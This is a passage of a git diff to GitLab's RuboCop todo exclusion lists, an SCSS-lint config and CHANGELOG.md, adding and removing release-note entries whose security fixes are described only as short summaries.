-# Offense count: 4
-# Cop supports --auto-correct.
-Style/SelfAssignment:
- Exclude:
- - 'app/models/concerns/bulk_member_access_load.rb'
- - 'app/serializers/base_serializer.rb'
- - 'spec/support/import_export/configuration_helper.rb'
-
-# Offense count: 50
-# Cop supports --auto-correct.
-# Configuration parameters: AllowIfMethodIsEmpty.
-Style/SingleLineMethods:
- Exclude:
- - 'lib/gitlab/ci/ansi2html.rb'
-
# Offense count: 102
# Cop supports --auto-correct.
# Configuration parameters: .
@@ -879,11 +679,6 @@ Rails/SaveBang:
- 'ee/spec/initializers/fog_google_https_private_urls_spec.rb'
- 'ee/spec/lib/analytics/merge_request_metrics_calculator_spec.rb'
- 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
- - 'ee/spec/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules_spec.rb'
- - 'ee/spec/lib/ee/gitlab/background_migration/move_epic_issues_after_epics_spec.rb'
- - 'ee/spec/lib/ee/gitlab/background_migration/populate_any_approval_rule_for_merge_requests_spec.rb'
- - 'ee/spec/lib/ee/gitlab/background_migration/populate_any_approval_rule_for_projects_spec.rb'
- - 'ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb'
- 'ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb'
- 'ee/spec/lib/ee/gitlab/ci/pipeline/quota/activity_spec.rb'
- 'ee/spec/lib/gitlab/auth/ldap/access_spec.rb'
@@ -892,9 +687,6 @@ Rails/SaveBang:
- 'ee/spec/lib/gitlab/background_migration/fix_orphan_promoted_issues_spec.rb'
- 'ee/spec/lib/gitlab/elastic/search_results_spec.rb'
- 'ee/spec/lib/gitlab/email/handler/ee/service_desk_handler_spec.rb'
- - 'ee/spec/lib/gitlab/geo/cron_manager_spec.rb'
- - 'ee/spec/lib/gitlab/geo/jwt_request_decoder_spec.rb'
- - 'ee/spec/lib/gitlab/geo/oauth/session_spec.rb'
- 'ee/spec/lib/gitlab/geo_spec.rb'
- 'ee/spec/lib/gitlab/git_access_spec.rb'
- 'ee/spec/lib/gitlab/import_export/group/relation_factory_spec.rb'
@@ -910,7 +702,6 @@ Rails/SaveBang:
- 'ee/spec/models/approval_project_rule_spec.rb'
- 'ee/spec/models/approval_state_spec.rb'
- 'ee/spec/models/burndown_spec.rb'
- - 'ee/spec/models/ci/build_spec.rb'
- 'ee/spec/models/ci/pipeline_spec.rb'
- 'ee/spec/models/ci/subscriptions/project_spec.rb'
- 'ee/spec/models/concerns/approver_migrate_hook_spec.rb'
@@ -935,14 +726,8 @@ Rails/SaveBang:
- 'ee/spec/models/license_spec.rb'
- 'ee/spec/models/merge_request_spec.rb'
- 'ee/spec/models/merge_train_spec.rb'
- - 'ee/spec/models/operations/feature_flag_scope_spec.rb'
- - 'ee/spec/models/operations/feature_flag_spec.rb'
- - 'ee/spec/models/operations/feature_flags/strategy_spec.rb'
- - 'ee/spec/models/operations/feature_flags/user_list_spec.rb'
- 'spec/models/packages/package_spec.rb'
- 'ee/spec/models/project_ci_cd_setting_spec.rb'
- - 'ee/spec/models/project_services/github_service_spec.rb'
- - 'ee/spec/models/project_services/jenkins_service_spec.rb'
- 'ee/spec/models/project_spec.rb'
- 'ee/spec/models/protected_environment_spec.rb'
- 'ee/spec/models/repository_spec.rb'
@@ -978,9 +763,6 @@ Rails/SaveBang:
- 'ee/spec/requests/lfs_http_spec.rb'
- 'ee/spec/services/approval_rules/finalize_service_spec.rb'
- 'ee/spec/services/approval_rules/update_service_spec.rb'
- - 'ee/spec/services/ci/minutes/email_notification_service_spec.rb'
- - 'ee/spec/services/ci/process_build_service_spec.rb'
- - 'ee/spec/services/ci/register_job_service_spec.rb'
- 'ee/spec/services/ee/boards/issues/create_service_spec.rb'
- 'ee/spec/services/ee/boards/issues/list_service_spec.rb'
- 'ee/spec/services/ee/boards/lists/list_service_spec.rb'
@@ -991,7 +773,6 @@ Rails/SaveBang:
- 'ee/spec/services/ee/merge_requests/update_service_spec.rb'
- 'ee/spec/services/ee/notes/quick_actions_service_spec.rb'
- 'ee/spec/services/ee/notification_service_spec.rb'
- - 'ee/spec/services/ee/resource_events/change_weight_service_spec.rb'
- 'ee/spec/services/epic_links/create_service_spec.rb'
- 'ee/spec/services/epics/close_service_spec.rb'
- 'ee/spec/services/epics/issue_promote_service_spec.rb'
@@ -1007,14 +788,7 @@ Rails/SaveBang:
- 'ee/spec/services/groups/autocomplete_service_spec.rb'
- 'ee/spec/services/ldap_group_reset_service_spec.rb'
- 'ee/spec/services/lfs/unlock_file_service_spec.rb'
- - 'ee/spec/services/merge_requests/approval_service_spec.rb'
- - 'ee/spec/services/merge_requests/remove_approval_service_spec.rb'
- - 'ee/spec/services/merge_requests/update_blocks_service_spec.rb'
- 'ee/spec/services/merge_trains/refresh_merge_request_service_spec.rb'
- - 'ee/spec/services/projects/after_rename_service_spec.rb'
- - 'ee/spec/services/projects/import_export/export_service_spec.rb'
- - 'ee/spec/services/projects/update_mirror_service_spec.rb'
- - 'ee/spec/services/projects/update_service_spec.rb'
- 'ee/spec/services/quick_actions/interpret_service_spec.rb'
- 'ee/spec/services/slash_commands/global_slack_handler_spec.rb'
- 'ee/spec/services/start_pull_mirroring_service_spec.rb'
@@ -1027,16 +801,7 @@ Rails/SaveBang:
- 'ee/spec/support/shared_examples/finders/geo/framework_registry_finder_shared_examples.rb'
- 'ee/spec/support/shared_examples/graphql/geo/geo_registries_resolver_shared_examples.rb'
- 'ee/spec/support/shared_examples/lib/analytics/common_merge_request_metrics_refresh_shared_examples.rb'
- - 'ee/spec/support/shared_examples/models/concerns/replicator_shared_examples.rb'
- - 'ee/spec/support/shared_examples/models/elasticsearch_indexed_container_shared_examples.rb'
- - 'ee/spec/support/shared_examples/models/geo_framework_registry_shared_examples.rb'
- - 'ee/spec/support/shared_examples/models/member_shared_examples.rb'
- - 'ee/spec/support/shared_examples/models/mentionable_shared_examples.rb'
- 'ee/spec/support/shared_examples/policies/protected_environments_shared_examples.rb'
- - 'ee/spec/support/shared_examples/requests/api/graphql/geo/registries_shared_examples.rb'
- - 'ee/spec/support/shared_examples/requests/api/project_approval_rules_api_shared_examples.rb'
- - 'ee/spec/support/shared_examples/services/build_execute_shared_examples.rb'
- - 'ee/spec/support/shared_examples/services/issue_epic_shared_examples.rb'
- 'ee/spec/workers/adjourned_project_deletion_worker_spec.rb'
- 'ee/spec/workers/clear_shared_runners_minutes_worker_spec.rb'
- 'ee/spec/workers/create_github_webhook_worker_spec.rb'
@@ -1049,6 +814,7 @@ Rails/SaveBang:
- 'ee/spec/workers/repository_import_worker_spec.rb'
- 'ee/spec/workers/update_all_mirrors_worker_spec.rb'
- 'qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/3_create/repository/pull_mirroring_over_http_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/3_create/repository/pull_mirroring_over_ssh_with_key_spec.rb'
- 'spec/controllers/abuse_reports_controller_spec.rb'
@@ -1273,14 +1039,6 @@ Rails/SaveBang:
- 'spec/models/appearance_spec.rb'
- 'spec/models/application_record_spec.rb'
- 'spec/models/application_setting_spec.rb'
- - 'spec/models/ci/build_metadata_spec.rb'
- - 'spec/models/ci/build_spec.rb'
- - 'spec/models/ci/build_trace_chunk_spec.rb'
- - 'spec/models/ci/instance_variable_spec.rb'
- - 'spec/models/ci/legacy_stage_spec.rb'
- - 'spec/models/ci/persistent_ref_spec.rb'
- - 'spec/models/ci/pipeline_spec.rb'
- - 'spec/models/ci/runner_spec.rb'
- 'spec/models/clusters/applications/helm_spec.rb'
- 'spec/models/commit_spec.rb'
- 'spec/models/commit_status_spec.rb'
@@ -1297,9 +1055,6 @@ Rails/SaveBang:
- 'spec/models/concerns/subscribable_spec.rb'
- 'spec/models/concerns/token_authenticatable_spec.rb'
- 'spec/models/container_repository_spec.rb'
- - 'spec/models/cycle_analytics/issue_spec.rb'
- - 'spec/models/cycle_analytics/plan_spec.rb'
- - 'spec/models/cycle_analytics/production_spec.rb'
- 'spec/models/deploy_keys_project_spec.rb'
- 'spec/models/deploy_token_spec.rb'
- 'spec/models/deployment_spec.rb'
@@ -1329,15 +1084,13 @@ Rails/SaveBang:
- 'spec/models/namespace_spec.rb'
- 'spec/models/note_spec.rb'
- 'spec/models/notification_setting_spec.rb'
+ - 'spec/models/operations/feature_flag_scope_spec.rb'
+ - 'spec/models/operations/feature_flag_spec.rb'
+ - 'spec/models/operations/feature_flags/strategy_spec.rb'
+ - 'spec/models/operations/feature_flags/user_list_spec.rb'
- 'spec/models/pages_domain_spec.rb'
- 'spec/models/project_auto_devops_spec.rb'
- 'spec/models/project_feature_spec.rb'
- - 'spec/models/project_services/bamboo_service_spec.rb'
- - 'spec/models/project_services/buildkite_service_spec.rb'
- - 'spec/models/project_services/jira_service_spec.rb'
- - 'spec/models/project_services/packagist_service_spec.rb'
- - 'spec/models/project_services/pipelines_email_service_spec.rb'
- - 'spec/models/project_services/teamcity_service_spec.rb'
- 'spec/models/project_spec.rb'
- 'spec/models/project_team_spec.rb'
- 'spec/models/protectable_dropdown_spec.rb'
@@ -1358,9 +1111,6 @@ Rails/SaveBang:
- 'spec/presenters/ci/build_runner_presenter_spec.rb'
- 'spec/presenters/ci/trigger_presenter_spec.rb'
- 'spec/presenters/packages/conan/package_presenter_spec.rb'
- - 'spec/requests/api/access_requests_spec.rb'
- - 'spec/requests/api/boards_spec.rb'
- - 'spec/requests/api/branches_spec.rb'
- 'spec/requests/api/ci/runner_spec.rb'
- 'spec/requests/api/commit_statuses_spec.rb'
- 'spec/requests/api/conan_packages_spec.rb'
@@ -1377,36 +1127,11 @@ Rails/SaveBang:
- 'spec/requests/api/issues/post_projects_issues_spec.rb'
- 'spec/requests/api/jobs_spec.rb'
- 'spec/requests/api/labels_spec.rb'
- - 'spec/requests/api/maven_packages_spec.rb'
- - 'spec/requests/api/members_spec.rb'
- - 'spec/requests/api/merge_request_diffs_spec.rb'
- - 'spec/requests/api/merge_requests_spec.rb'
- - 'spec/requests/api/notes_spec.rb'
- - 'spec/requests/api/pages/internal_access_spec.rb'
- - 'spec/requests/api/pages/private_access_spec.rb'
- - 'spec/requests/api/pages/public_access_spec.rb'
- - 'spec/requests/api/pipeline_schedules_spec.rb'
- 'spec/requests/api/project_import_spec.rb'
- - 'spec/requests/api/project_milestones_spec.rb'
- - 'spec/requests/api/projects_spec.rb'
- - 'spec/requests/api/snippets_spec.rb'
- - 'spec/requests/git_http_spec.rb'
- - 'spec/requests/lfs_http_spec.rb'
- - 'spec/requests/profiles/notifications_controller_spec.rb'
- 'spec/requests/projects/cycle_analytics_events_spec.rb'
- - 'spec/serializers/environment_status_entity_spec.rb'
- - 'spec/serializers/issue_entity_spec.rb'
- - 'spec/serializers/job_entity_spec.rb'
- - 'spec/serializers/merge_request_poll_widget_entity_spec.rb'
- - 'spec/serializers/merge_request_widget_entity_spec.rb'
- 'spec/services/auth/container_registry_authentication_service_spec.rb'
- 'spec/services/auto_merge/base_service_spec.rb'
- 'spec/services/auto_merge_service_spec.rb'
- - 'spec/services/ci/create_cross_project_pipeline_service_spec.rb'
- - 'spec/services/ci/create_pipeline_service_spec.rb'
- - 'spec/services/ci/register_job_service_spec.rb'
- - 'spec/services/ci/retry_build_service_spec.rb'
- - 'spec/services/ci/update_runner_service_spec.rb'
- 'spec/services/clusters/update_service_spec.rb'
- 'spec/services/deployments/after_create_service_spec.rb'
- 'spec/services/design_management/generate_image_versions_service_spec.rb'
@@ -1418,20 +1143,7 @@ Rails/SaveBang:
- 'spec/services/issuable/bulk_update_service_spec.rb'
- 'spec/services/issuable/clone/attributes_rewriter_spec.rb'
- 'spec/services/issuable/common_system_notes_service_spec.rb'
- - 'spec/services/issues/close_service_spec.rb'
- - 'spec/services/issues/create_service_spec.rb'
- - 'spec/services/issues/export_csv_service_spec.rb'
- - 'spec/services/issues/reopen_service_spec.rb'
- - 'spec/services/issues/update_service_spec.rb'
- 'spec/services/labels/promote_service_spec.rb'
- - 'spec/services/members/destroy_service_spec.rb'
- - 'spec/services/merge_requests/build_service_spec.rb'
- - 'spec/services/merge_requests/conflicts/list_service_spec.rb'
- - 'spec/services/merge_requests/create_service_spec.rb'
- - 'spec/services/merge_requests/merge_service_spec.rb'
- - 'spec/services/merge_requests/post_merge_service_spec.rb'
- - 'spec/services/merge_requests/refresh_service_spec.rb'
- - 'spec/services/merge_requests/update_service_spec.rb'
- 'spec/services/milestones/destroy_service_spec.rb'
- 'spec/services/milestones/promote_service_spec.rb'
- 'spec/services/milestones/transfer_service_spec.rb'
@@ -1474,30 +1186,10 @@ Rails/SaveBang:
- 'spec/support/shared_examples/controllers/sessionless_auth_controller_shared_examples.rb'
- 'spec/support/shared_examples/features/editable_merge_request_shared_examples.rb'
- 'spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb'
- - 'spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb'
- - 'spec/support/shared_examples/models/cluster_application_helm_cert_shared_examples.rb'
- - 'spec/support/shared_examples/models/concerns/limitable_shared_examples.rb'
- - 'spec/support/shared_examples/models/concerns/timebox_shared_examples.rb'
- - 'spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb'
- - 'spec/support/shared_examples/models/member_shared_examples.rb'
- - 'spec/support/shared_examples/models/members_notifications_shared_example.rb'
- - 'spec/support/shared_examples/models/mentionable_shared_examples.rb'
- - 'spec/support/shared_examples/models/project_latest_successful_build_for_shared_examples.rb'
- - 'spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb'
- - 'spec/support/shared_examples/models/update_project_statistics_shared_examples.rb'
- - 'spec/support/shared_examples/models/with_uploads_shared_examples.rb'
- 'spec/support/shared_examples/policies/project_policy_shared_examples.rb'
- 'spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb'
- 'spec/support/shared_examples/quick_actions/merge_request/merge_quick_action_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/award_emoji_todo_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/boards_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb'
- 'spec/support/shared_examples/serializers/note_entity_shared_examples.rb'
- - 'spec/support/shared_examples/services/common_system_notes_shared_examples.rb'
- - 'spec/support/shared_examples/services/issuable_shared_examples.rb'
- - 'spec/support/shared_examples/services/wiki_pages/destroy_service_shared_examples.rb'
- 'spec/tasks/gitlab/web_hook_rake_spec.rb'
- 'spec/uploaders/file_uploader_spec.rb'
- 'spec/uploaders/object_storage_spec.rb'
diff --git a/.scss-lint.yml b/.scss-lint.yml
index 9b3fc388756..420b15274bb 100644
--- a/.scss-lint.yml
+++ b/.scss-lint.yml
@@ -7,7 +7,7 @@ scss_files:
exclude:
- 'app/assets/stylesheets/pages/emojis.scss'
- - 'app/assets/stylesheets/startup/startup-general.scss'
+ - 'app/assets/stylesheets/startup/startup-*.scss'
linters:
# Reports when you use improper spacing around ! (the "bang") in !default,
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4507a0061af..eeff84d47ef 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,26 +2,6 @@
documentation](doc/development/changelog.md) for instructions on adding your own
entry.
-## 13.3.6 (2020-09-14)
-
-### Fixed (2 changes)
-
-- Fixes Auto DevOps deploy script for multiple additional hosts separated by comma and space. !41404
-- Use 'read' method to get request body in Conan to fix uploads when using Unicorn. !41801
-
-
-## 13.3.5 (2020-09-04)
-
-### Fixed (6 changes)
-
-- Coerce string object storage options to booleans. !39901
-- Fix Jira importer user mapping limit. !40310
-- Fix auto-deploy-image external chart dependencies. !40730
-- Fix ActiveRecord::IrreversibleOrderError during restore from backup. !40789
-- Fix wrong caching logic in ProcessRefChangesService. !40821
-- Update the 2FA user update check to account for rounding errors. !41327
-
-
## 13.3.4 (2020-09-02)
### Security (1 change)
@@ -609,6 +589,42 @@ entry.
- Replace fa-pencil icon with GitLab SVG. !39648
+## 13.2.8 (2020-09-02)
+
+### Security (1 change)
+
+- Protect OAuth endpoints from brute force/password stuffing.
+
+
+## 13.2.7 (2020-09-02)
+
+### Security (23 changes, 1 of them is from the community)
+
+- Check validity of project's import_url before mirroring repository.
+- Show on two-factor authentication setup page groups that are the cause of this requirement.
+- Prevent interrupted 2FA sign-in from signing-in incorrect user.
+- Create new 2FA code each time user is entering 2FA setup page.
+- Remove all sessions but current while enabling 2FA.
+- Invalidate two factor sign-in when user password changes.
+- Delete members invites created by users being deleted.
+- Prevent OmniAuth from rendering arbitrary error messages.
+- Prevent not-2fa authenticated users that are supposed to use it to consume api via session.
+- Invalidate remember me when an active session is revoked.
+- Add rate limit on webhooks testing feature.
+- Add scope presence validation to OAuth Application creation.
+- Allow only running job tokens for API authentication.
+- Prevent Deploy Tokens to read project resources when repository is disabled.
+- Change conan api to use proper workhorse validation.
+- Ensure global ID is of Snippet type in GraphQL destroy mutation.
+- Fix Improper Access Control on Deploy-Key.
+- Set maximum limit for profile events.
+- Persist EKS External ID before presenting it to the user.
+- Prevent project maintainers from editing group badges.
+- Upgrade jquery to v3.5.
+- Update websocket-extensions gem to 0.1.5. (Vitor Meireles De Sousa)
+- Update GitLab Runner Helm Chart to 0.18.3.
+
+
## 13.2.6 (2020-08-18)
- No changes.
@@ -1677,6 +1693,42 @@ entry.
- Remove removeIssue logic from list model. (nuwe1)
+## 13.1.10 (2020-09-02)
+
+### Security (1 change)
+
+- Protect OAuth endpoints from brute force/password stuffing.
+
+
+## 13.1.9 (2020-09-02)
+
+### Security (23 changes, 1 of them is from the community)
+
+- Check validity of project's import_url before mirroring repository.
+- Show on two-factor authentication setup page groups that are the cause of this requirement.
+- Prevent interrupted 2FA sign-in from signing-in incorrect user.
+- Create new 2FA code each time user is entering 2FA setup page.
+- Remove all sessions but current while enabling 2FA.
+- Invalidate two factor sign-in when user password changes.
+- Delete members invites created by users being deleted.
+- Prevent OmniAuth from rendering arbitrary error messages.
+- Prevent not-2fa authenticated users that are supposed to use it to consume api via session.
+- Invalidate remember me when an active session is revoked.
+- Add rate limit on webhooks testing feature.
+- Add scope presence validation to OAuth Application creation.
+- Allow only running job tokens for API authentication.
+- Prevent Deploy Tokens to read project resources when repository is disabled.
+- Change conan api to use proper workhorse validation.
+- Ensure global ID is of Snippet type in GraphQL destroy mutation.
+- Fix Improper Access Control on Deploy-Key.
+- Set maximum limit for profile events.
+- Persist EKS External ID before presenting it to the user.
+- Prevent project maintainers from editing group badges.
+- Upgrade jquery to v3.5.
+- Update websocket-extensions gem to 0.1.5. (Vitor Meireles De Sousa)
+- Update GitLab Runner Helm Chart to 0.18.3.
+
+
## 13.1.8 (2020-08-18)
- No changes.
@@ -2936,13414 +2988,18 @@ This version has been skipped due to packaging problems.
- Update asciidoctor-plantuml gem to v0.0.12. !32376
- Use visitUrl in Alert management. !32414
+## 12.10.14 through 12.0.0
-## 12.10.14 (2020-07-06)
-
-- No changes.
-
-## 12.10.13 (2020-07-01)
-
-### Security (15 changes)
-
-- Do not show activity for users with private profiles.
-- Fix stored XSS in markdown renderer.
-- Upgrade swagger-ui to solve XSS issues.
-- Fix group deploy token API authorizations.
-- Check access when sending TODOs related to merge requests.
-- Change from hybrid to JSON cookies serializer.
-- Prevent XSS in group name validations.
-- Disable caching for wiki attachments.
-- Fix null byte error in upload path.
-- Update permissions for time tracking endpoints.
-- Update Kaminari gem.
-- Fix note author name rendering.
-- Sanitize bitbucket repo urls to mitigate XSS.
-- Stored XSS on the Error Tracking page.
-- Fix security issue when rendering issuable.
-
-
-## 12.10.12 (2020-06-24)
-
-### Fixed (1 change)
-
-- Correctly count wiki pages in sidebar. !30508
-
-
-## 12.10.11 (2020-06-10)
-
-- No changes.
-
-## 12.10.8 (2020-05-28)
-
-### Fixed (2 changes)
-
-- Fix Geo replication for design thumbnails. !32703
-- Fix 404s downloading build artifacts. !32741
-
-
-## 12.10.7 (2020-05-27)
-
-### Security (14 changes)
-
-- Add an extra validation to Static Site Editor payload.
-- Hide EKS secret key in admin integrations settings.
-- Added data integrity check before updating a deploy key.
-- Display only verified emails on notifications and profile page.
-- Disable caching on repo/blobs/[sha]/raw endpoint.
-- Require confirmed email address for GitLab OAuth authentication.
-- Kubernetes cluster details page no longer exposes Service Token.
-- Fix confirming unverified emails with soft email confirmation flow enabled.
-- Disallow user to control PUT request using mermaid markdown in issue description.
-- Check forked project permissions before allowing fork.
-- Limit memory footprint of a command that generates ZIP artifacts metadata.
-- Fix file enuming using Group Import.
-- Prevent XSS in the monitoring dashboard.
-- Use `gsub` instead of the Ruby `%` operator to perform variable substitution in Prometheus proxy API.
-
-
-## 12.10.6 (2020-05-15)
-
-### Fixed (5 changes)
-
-- Fix duplicate index removal on ci_pipelines.project_id. !31043
-- Fix 500 on creating an invalid domains and verification. !31190
-- Fix incorrect number of errors returned when querying sentry errors. !31252
-- Add instance column to services table if it's missing. !31631
-- Fix incorrect regex used in FileUploader#extract_dynamic_path. !32271
-
-
-## 12.10.5 (2020-05-13)
-
-### Added (1 change)
-
-- Consider project group and group ancestors when processing CODEOWNERS entries. !31804
-
-
-## 12.10.4 (2020-05-05)
-
-### Fixed (1 change)
-
-- Add a Project's group to list of groups when parsing for codeowner entries. !30934
-
-
-## 12.10.2 (2020-04-30)
-
-### Security (8 changes)
-
-- Ensure MR diff exists before codeowner check.
-- Apply CODEOWNERS validations to web requests.
-- Prevent unauthorized access to default branch.
-- Do not return private project ID without permission.
-- Fix doorkeeper CVE-2020-10187.
-- Change GitHub service integration token input to password.
-- Return only safe urls for mirrors.
-- Validate workhorse 'rewritten_fields' and properly use them during multipart uploads.
-
-
-## 12.10.1 (2020-04-24)
-
-### Fixed (5 changes)
-
-- Fix bug creating project from git ssh. !29771
-- Fix Web IDE handling of deleting newly added files. !29783
-- Fix null dereference in /import status REST endpoint. !29886
-- Fix Service Templates missing Active toggle. !29936
-- Fix 500 error on accessing restricted levels. !30313
-
-### Changed (1 change)
-
-- Move Group Deploy Tokens to new Group-scoped Repository settings. !29290
-
-### Other (1 change)
-
-- Migration of dismissals to vulnerabilities. !29711
-
-
-## 12.10.0 (2020-04-22)
-
-### Removed (3 changes)
-
-- Revert LDAP readonly attributes feature. !28541
-- Remove deprecated /ci/lint page. !28562
-- Remove open in file view link from Web IDE. !28705
-
-### Fixed (118 changes, 26 of them are from the community)
-
-- Return 202 for command only notes in REST API. !19624
-- Run SAST using awk to pass env variables directly to docker without creating .env file. !21174 (Florian Gaultier)
-- #42671: Project and group storage statistics now support values up to 8 PiB (up from 4GiB)
-. !23131 (Matthias van de Meent)
-- Fix 500 error on profile/chat_names for deleted projects. !24341
-- Migrate the database to activate projects prometheus service integration for projects with prometheus installed on shared k8s cluster. !24684
-- Fix archived corrupted projects not displaying in admin. !25171 (erickcspice)
-- Fix some Web IDE bugs with empty projects. !25463
-- Fix failing ci variable e2e test. !25924
-- Fix new file not being created in non-ascii character folders. !26165
-- Validate uniqueness of project_id and type when a new project service is created. !26308
-- Fix assignee dropdown on new issue page. !26971
-- Resolve Unable to expand multiple downstream pipelines. !27029
-- Hide admin user actions for ghost and bot users. !27162
-- Fix invalid ancestor group milestones when moving projects. !27262
-- Fix right sidebar when scrollbars are always visible. !27314 (Shawn @CasualBot)
-- Fix OpenAPI file detector. !27321 (Roger Meier)
-- Fix managed_free_namespaces scope to only groups without a license or a free license. !27356
-- Set commit status to failed if the TeamCity connection is refused. !27395
-- Resolve Improve format support message in issue design. !27409
-- Add tooltips with full path to file headers on file tree. !27437
-- Scope WAF Statistics anomalies to environment.external_url. !27466
-- Show the proper information in snippet edit form. !27479
-- Fixes the repository Vue router not working with Chinese characters. !27494
-- Fix smartcard config initialization. !27560
-- Fix audit event that weren't being created for failed LDAP log-in tries. !27608
-- Fix filtered search tokenization. !27648
-- Fix processing of GrapqhQL query complexity based on used resolvers. !27652
-- Update board scopes when promoting a label. !27662
-- Reuse default generated snippet file name in repository. !27673
-- Revert user bio back to non-italicized font to fix rendering of emojis. !27693
-- Filter out Releases with missing tags. !27716
-- Update detected languages for dependency scanning in no dind mode. !27723
-- Fix logic for ingress can_uninstall?. !27729
-- Fix dropped filter when paging groups. !27737 (Lee Tickett)
-- Amend GraphQL merge requests resolver to check for project presence. !27783
-- Fix bug issue template handling of markdown. !27808 (Lee Tickett)
-- Update discord notifications to be a single embed and include log messages. !27812 (Sam Bingner)
-- Update detected languages for sast in no dind mode. !27831
-- Fix bug inviting members whose emails start with numbers. !27848 (Lee Tickett)
-- Allow self monitoring project to query internal Prometheus even when "Allow local requests in webhooks and services" setting is false. !27865
-- Add missing docstring to Prometheus metric. !27868
-- Resolve Snippet creation failure bug. !27891
-- Fix optional params for deploy token API. !27961 (Nejc Habjan)
-- Use Ci::Pipeline#all_merge_requests.first as Ci::Build#merge_request. !27968
-- Fix bug tracking snippet shard name. !27979
-- Add `discussion_locked` to Webhook. !28018
-- Fix invalid class option for ionice. !28023
-- Improve SAST NO_DIND file detection with proper boundary conditions. !28036
-- Detect skipped specs in JUnit reports and set TestCase status. !28053
-- Allow 0 for pages size limit setting in admin settings. !28086
-- Fix wrong colors displayed in charts. !28095
-- Fix incorrect content returned on empty dotfile. !28144
-- Include LDAP UID attribute in default attributes for all LDAP lookups. !28148
-- Fix deploy token API to properly delete all associated deploy token records. !28156
-- Fix Gitlab::Auth to handle orphaned oauth tokens. !28159
-- Protect sidekiq admin UI with admin mode. !28164 (Diego Louzán)
-- Prevent overriding the username when creating a Deploy Token via the API. !28175 (Ayoub Mrini)
-- Resolve Snippet actions with binary data. !28191
-- Make all HTTPS cookies set SameSite to none. !28205
-- Don't send 'accept-encoding' in HttpIO requests. !28239
-- Gracefully handle missing latest CI pipeline. !28263
-- Fix error removing secondary email. !28267 (Lee Tickett)
-- Fix name of approvals column in merge requests. !28274 (Steffen Köhler)
-- Add management_project_id to group and project cluster creation, clarifies docs. !28289
-- Check first if feature flag version_snippet is enabled. !28352
-- Fix single stat panel percentile format support. !28365
-- Use CTE optimization for searching board issues. !28430
-- Fix missing synthetic milestone change notes for disabled milestone change event tracking feature flag. !28440
-- Fix Releases page for Guest users of private projects. !28447
-- Prevent ProjectUpdateRepositoryStorageWorker from moving to same filesystem. !28469
-- Return error message for create_merge_request. !28482
-- Include MR times in Milestone time overview. !28519 (Bob van de Vijver)
-- Fix daily report result to use average of coverage values if there are multiple builds for a given group name. !28556
-- Token creation uses HTTP status CREATED. !28587
-- Allow award emoji same name & user duplicates when Importing. !28588
-- Fix pagination in Merge Request GraphQL api. !28667 (briankabiro)
-- Remove duplicate spec in web hook service spec. !28669 (Rajendra Kadam)
-- Fix GraphQL SnippetType repo urls. !28673
-- Add missing ON DELETE FK constraints referencing users table. !28720
-- Update duplicate specs in notification service spec. !28742 (Rajendra Kadam)
-- Fix styling of MR dropdown in Web IDE. !28746
-- Better error message when importing a Github project and Github API rate limit is exceeded. !28785
-- Prevent false positives in Ci::Pipeline#all_merge_requests. !28800
-- Enable toggle all discussions button for logged out users. !28809 (Diego Louzán)
-- Fix display of PyCharm generated Jupyter notebooks. !28810 (Jan Beckmann)
-- Resolve Snippet update error with version flag disabled. !28815
-- Show multimetric embeds on a single chart. !28841
-- Fix race condition updating snippet without repository. !28851
-- Normalize signature mime types when filtering attachments in emails. !28865 (Diego Louzán)
-- Add autostop check to folder table. !28937
-- Fix 500 error on create release API when providing an invalid tag_name. !28969 (Sashi Kumar)
-- Fix missing group icons on profile page when screen < 576px. !28973
-- Stringify Sidekiq job args in exception logs. !28996
-- Ensure members are always added on Project Import when importing as admin. !29046
-- Elasticsearch recommendation alert does not appears while screen is loaded. !29097
-- Prevent wrong environment being used when processing Prometheus alert. !29119
-- Fix Slack slash commands using relative URL. !29160
-- Exclude 'trial_ends_on', 'shared_runners_minutes_limit' & 'extra_shared_runners_minutes_limit' from list of exported Group attributes. !29259
-- Group level container registry show subgroups repos. !29263
-- Move prepend to last line in finders files. !29274 (Rajendra Kadam)
-- Remove 'error' from diff note error message. !29281
-- Migrate legacy uploads out of deprecated paths. !29295
-- Move prepend to last line in commit status presenter. !29328 (Rajendra Kadam)
-- Move prepend to last line in app serializers. !29332 (Rajendra Kadam)
-- Move prepend to last line in app workers and uploaders. !29379 (Rajendra Kadam)
-- fix: Publish toolbar dissappears when submitting empty content. !29410
-- Replace deprecated GlLoadingIcon sizes. !29417
-- fix display head and base in version dropdowns. !29433
-- Fix Web IDE not showing diff when opening commit tab. !29439
-- Use music icon for files with .ogg extension. !29514
-- Fix dashboard processing error which prevented dashboards with unknown attributes inside panels from being displayed. !29517
-- Fix Deploy Token creation when no scope selected. !29614
-- Update auto-build-image to v0.2.2 with fixes for docker caching. !29730
-- Fix resolve WIP clearing merge request area. !29757
-- Enable the Add metric button for CE users. !29769
-- Fix Error 500 when inviting user to a few projects. !29778
-- Fixed whitespace toggle not showing the correct diff.
-- Fixed upload file creating a file in the wrong directory.
-
-### Deprecated (1 change)
-
-- Deprecate 'token' attribute from Runners API. !29481
-
-### Changed (62 changes, 7 of them are from the community)
-
-- Only enable searching of projects by full path / name on certain dropdowns. !21910
-- Support wiki events in activity streams. !23869
-- Fix for issue 26426: Details of runners of nested groups of an owned group are now available for users with enough permissions. !24169 (nachootal@gmail.com)
-- Rename "Project Services" to "Integrations" in frontend and docs. !26244
-- Support multiple Evidences for a Release. !26509
-- Move some global routes to - scope. !27106
